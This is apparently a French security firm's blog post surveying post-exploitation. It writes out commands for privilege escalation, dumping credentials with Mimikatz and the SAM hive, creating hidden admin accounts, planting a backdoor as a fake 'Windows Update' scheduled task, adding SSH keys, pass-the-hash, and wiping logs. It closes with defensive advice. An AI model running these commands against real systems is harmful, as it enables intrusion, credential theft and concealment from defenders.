- Email: contact@yucelsan.fr
- 12 rue de la Part-Dieu, 69003 LYON
- +33 06 71911724
Une fois qu’un attaquant a obtenu un accès initial à une machine cible, l’objectif principal est d’élever les privilèges, collecter des informations sensibles, assurer une persistance durable et éviter la détection.
📌 Post-Exploitation – YUCELSAN
✔ Maximiser l’exploitation du système compromis.
✔ Maintenir un accès permanent (persistance).
✔ Récupérer des informations d’identification.
✔ Déployer d’autres charges utiles pour une attaque plus large.
👉 Outils clés : Metasploit, Mimikatz, BloodHound, Empire, Cobalt Strike, Sliver.
L’élévation de privilèges consiste à exploiter des failles ou des configurations faibles pour obtenir des droits administrateur/root sur un système.
📌 Techniques courantes :
|
1 2 3 |
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set SESSION 1 exploit |
✅ Exploite la vulnérabilité MS16-032 pour obtenir SYSTEM.
📌 Vérifier les permissions sudo :
|
1 |
sudo -l |
📌 Exploiter une configuration incorrecte :
|
1 |
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh |
L’objectif est de récupérer les mots de passe et tokens d’authentification stockés sur la machine compromise.
📌 Lancer Mimikatz et récupérer les mots de passe en RAM :
|
1 2 3 |
mimikatz privilege::debug sekurlsa::logonpasswords |
✅ Affiche les identifiants stockés en mémoire (NTLM, Kerberos, mots de passe en clair).
📌 Dump du SAM pour extraire les mots de passe locaux
|
1 2 |
reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save |
Puis cracker les hashes avec John The Ripper :
|
1 |
john --format=NT --wordlist=rockyou.txt sam.hash |
3.2. Extraction de tokens d’accès Windows avec Rubeus
|
1 |
Rubeus.exe dump |
👉 Permet de récupérer des tokens d’authentification Kerberos.
Une fois les privilèges élevés et les identifiants récupérés, l’attaquant doit s’assurer de maintenir l’accès au système même après un redémarrage.
📌 Méthodes courantes :
✅ Création d’un compte administrateur caché.
✅ Implémentation de backdoors persistantes via services, DLL hijacking.
✅ Ajout d’une clé dans le registre Windows (Run, RunOnce, Task Scheduler).
✅ Modification des autorisations SSH sur Linux.
|
1 2 |
net user hacker P@ssw0rd123 /add net localgroup Administrators hacker /add |
✅ Ajoute un nouvel administrateur système.
|
1 |
schtasks /create /tn "Windows Update" /tr "C:\backdoor.exe" /sc ONSTART /ru SYSTEM |
✅ Exécute un fichier malveillant au démarrage du système.
📌 Ajouter une clé SSH malveillante :
|
1 |
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQE..." >> ~/.ssh/authorized_keys |
✅ Permet à l’attaquant de se reconnecter sans mot de passe.
Une fois l’accès obtenu, l’attaquant peut tenter de se déplacer latéralement sur le réseau pour compromettre d’autres machines.
📌 Techniques :
✅ Utilisation de credentials volés (Pass-the-Hash, Pass-the-Ticket).
✅ Exploitation de partages SMB ouverts.
✅ Escalade sur Active Directory avec BloodHound.
|
1 2 |
mimikatz sekurlsa::pth /user:Admin /domain:Corp.local /ntlm:<hash> |
✅ Connexion en utilisant un hash NTLM volé.
|
1 |
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\ |
✅ Affiche les relations et privilèges des utilisateurs AD.
L’attaquant va chercher à cacher ses traces et éviter la détection par les solutions EDR/SIEM.
📌 Techniques :
✅ Rootkits : Modification du noyau pour masquer les processus malveillants.
✅ Obfuscation de scripts : Encodage PowerShell (Base64, AMSI Bypass).
✅ Désactivation des logs Windows :
|
1 |
wevtutil cl Security |
✅ Suppression des logs SSH/Linux :
|
1 |
cat /dev/null > /var/log/auth.log |
🔐 Meilleures pratiques pour contrer la post-exploitation :
✔ Audit des logs et surveillance des événements (SIEM, Splunk, ELK).
✔ Restriction des privilèges administrateurs et suppression des comptes inutiles.
✔ Mise en place de solutions EDR avancées (CrowdStrike, SentinelOne).
✔ Désactivation de NTLM et de SMBv1 pour limiter Pass-the-Hash.
✔ Rotation régulière des mots de passe et implémentation du MFA.
La post-exploitation et la persistance sont des étapes critiques dans une attaque avancée. Elles permettent aux attaquants de maintenir un accès prolongé aux systèmes et de maximiser leur impact. Les défenseurs doivent donc adopter une approche proactive pour détecter et bloquer ces techniques.
🚀 Besoin d’un audit de sécurité ou d’un test de pénétration avancé ? YUCELSAN vous accompagne pour renforcer votre cybersécurité.
📞 Contactez-nous pour une évaluation et une remédiation complète !
